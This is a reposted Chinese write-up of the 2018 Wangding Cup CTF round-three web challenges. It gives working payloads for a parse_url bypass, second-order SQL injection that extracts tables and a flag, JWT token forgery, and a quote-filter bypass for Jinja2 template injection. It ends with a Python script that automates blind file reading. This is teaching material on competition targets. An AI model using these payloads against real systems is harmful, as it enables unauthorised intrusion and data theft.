【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

栏目: 数据库 · 发布时间: 7年前

内容简介:比赛环境没关,可以找其他人借账号复现本次比赛题目,以下是网鼎杯第三场Web题解。题目:由于运维人员失误,内网认证页面部署至了外网,不过还好,开发加了域名验证。

比赛环境没关,可以找其他人借账号复现本次比赛题目,以下是网鼎杯第三场Web题解。

Web

comein

题目:由于运维人员失误,内网认证页面部署至了外网,不过还好,开发加了域名验证。

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

查看源码,发现如下代码:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

很明显又是考察 parse_url 函数绕过,只不过开头多了对点号的匹配,绕过即可。使用 payload.@c7f.zhuque.com/..//

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

可以自己本地调试一下。

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

gold

题目:还在上小学的小明同学开发了一款游戏,你能通关吗?

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

Burpsuite抓包会发现浏览器一直发送POST数据,应该是通过Ajax来发起请求的:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

根据题目提示: 收集1000金币即可过关 。尝试直接将参数 getGod 的值修改为1000,发现会触发检测机制。

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

于是使用 Burpsuite 抓包,用 Intruder 模块从0跑到1001,在 getGod=1001 的数据包中获得flag:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

PS:用多线程跑会触发游戏的反作弊机制,用单线程按顺序跑就能出flag。

phone

题目:find the flag.

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

看到这道题目,马上就想到 2017广东省强网杯(第三题) 。测试了一下,果然在用户注册处的电话处存在二次注入,测试结果如下:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

可以发现这里查询结果为: 有1人和你电话相似哦~ ,而实际上这是我注册的第一个用户,数据库中不可能有用户的电话和我一样,所以应该是执行了我们刚刚构造的 SQL语句 ,因为后面的布尔逻辑值为真。所以我们分别构造获取表名、列名、字段的 payload 如下:

获取表名:

aaa' union select group_concat(table_name) from information_schema.tables where table_schema=database() order by 1 desc#
username=test4&password=test4☎=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829206f726465722062792031206465736323&register=Login

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

获取列名:

aaa' union select group_concat(column_name) from information_schema.columns where table_name="flag" order by 1 desc#
username=test6&password=test6☎=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d22666c616722206f726465722062792031206465736323&register=Login

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

获取字段:

aaa' union select f14g from flag order by 1 desc#
username=test7&password=test7☎=0x6161612720756e696f6e2073656c65637420663134672066726f6d20666c6167206f726465722062792031206465736323&register=Login

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

这里可能有人会不明白为什么要加上 order by 1 desc ,大家可以试试下面这个 payload

aaa' union select group_concat(table_name) from information_schema.tables where table_schema=database()#
username=test8&password=test8☎=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d6461746162617365282923&register=Login

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

实际上后台的 SQL语句 类似下图 第一个 SQL 语句

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

i_am_admin

题目:你能登录进去吗?

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

抓取登录数据包,发现 JWT

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

登录进去可以发现用于加密的 secret key

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

使用这个 secret keyhttps://jwt.io/ 生成 admin 对应的 token 值:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

使用该 token 值访问网站即可获得flag:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

mmmmy

题目:find the flag.

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

抓包发现又是 python 的web程序,使用了JWT:(随手用test/test登录即可看到)

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

使用 c-jwt-cracker 爆破 secret key

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

发现只有 admin 才能用留言板功能,所以 伪造admin的token 登录:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

virink师傅提醒说留言板处存在 SSTI ,于是测试了下,果然存在,只不过过滤了 {{}} 的写法,那我们可以换成流程控制结构的写法 {%if 表达式%}内容1{%else%}内容2{%endif%} ,测试如下:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

那么后面的数据就要盲注出来了,使用的 payload 类似如下:

text={%  if open('/flag','r').read()[0]=='f' %}1{%  else  %}0{%  endif  %}

这里实际上过滤了单、双引号,我们可以使用以下payload进行绕过:

text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0]%}good{%endif%}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e=}-{0123456789abcdefghijklmnopqrstuvwxyz

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

getflag程序如下:

import requests,sys
url = "http://4532bc69bc734acd8416204f0aa04f446e9d38024c5644e8.game.ichunqiu.com/bbs"
cookie = {
    "token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
}
chars = "}-{0123456789abcdefghijklmnopqrstuvwxyz"
flag = ''
for i in range(0,50):
    for j in range(0,len(chars)):
        data = {
            "text" : "{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d]%%}getflag{%%endif%%}" % (j,i),
            "a" : "__class__",
            "b" : "__base__",
            "c" : "__subclasses__",
            "d" : "/flag",
            "e" : chars
        }
        r = requests.post(url=url,data=data,cookies=cookie)
        if 'getflag' in r.text:
            flag += chars[j]
            sys.stdout.write("[+] "+ flag + '\r')
            sys.stdout.flush()
            if chars[j] == '}':
                print(flag)
                exit()
            else:
                break
print(len(r.text))

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Beginning ASP.NET 4 in C# and Vb

Beginning ASP.NET 4 in C# and Vb

Imar Spaanjaars / Wrox / 2010-3-19 / GBP 29.99

This book is for anyone who wants to learn how to build rich and interactive web sites that run on the Microsoft platform. With the knowledge you gain from this book, you create a great foundation to ......一起来看看 《Beginning ASP.NET 4 in C# and Vb》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换